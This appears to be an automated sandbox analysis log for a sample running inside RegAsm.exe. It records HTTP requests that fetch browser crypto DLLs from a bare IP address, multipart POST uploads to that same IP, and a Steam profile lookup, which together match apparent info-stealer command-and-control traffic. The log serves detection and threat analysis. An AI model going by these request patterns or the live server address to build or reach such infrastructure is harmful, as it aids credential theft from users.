Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JKFIDGDHJEGIEBFHDGDGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Content-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBFHIEBKJKFHIEBFBAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDAAAKJJDBGCBFCBGIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGHJEBGHJKEBFHIJDHCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Content-Length: 453Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAKECAEGDHIECBGHIIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Content-Length: 116501Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDGCGHCGHCBFHJJKKJEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAAFBKECAKEHIEBAFIEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Content-Length: 331Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.240.101

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0040514C _EH_prolog,InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,lstrlenA,lstrlenA,GetProcessHeap,HeapAlloc,lstrlenA,memcpy,lstrlenA,lstrlenA,memcpy,lstrlenA,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

3_2_0040514C

Source: global traffic	HTTP traffic detected: GET /profiles/76561199686524322 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlx.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Cache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: steamcommunity.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGHJEBGHJKEBFHIJDHCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1Host: 95.217.240.101Content-Length: 279Connection: Keep-AliveCache-Control: no-cache

Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.3.dr, mozglue.dll.3.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 00000003.00000002.2044042072.000000001928D000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2040755834.00000000132E9000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.3.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 76561199686524322[1].htm.3.dr	String found in binary or memory: https://95.217.240.101
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.240.101/
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.240.101/freebl3.dll
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.240.101/freebl3.dlls
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.240.101/mozglue.dll
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.240.101/msvcp140.dll
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.240.101/msvcp140.dllU
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.240.101/nss3.dll
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.240.101/nss3.dll2
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.240.101/softokn3.dll
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.240.101/softokn3.dllK
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.240.101/sqlx.dll
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.240.101/v
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.240.101/vcruntime140.dll
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.240.101FIE
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.240.101KJE
Source: JEGHDA.3.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 76561199686524322[1].htm.3.dr	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000001068000.00000004.00000020.00020000.00000000.sdmp, IIDHJD.3.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000001068000.00000004.00000020.00020000.00000000.sdmp, IIDHJD.3.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: JEGHDA.3.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: JEGHDA.3.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: JEGHDA.3.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=5CgcHEsWGA
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh&
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=yF_q
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=PyuRtGtUpR0t&l=englis
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=Wd0kCESeJquW&l=
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=X93cgZRtuH6z&l=engli
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=dERfFkkJ-bKK&amp
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
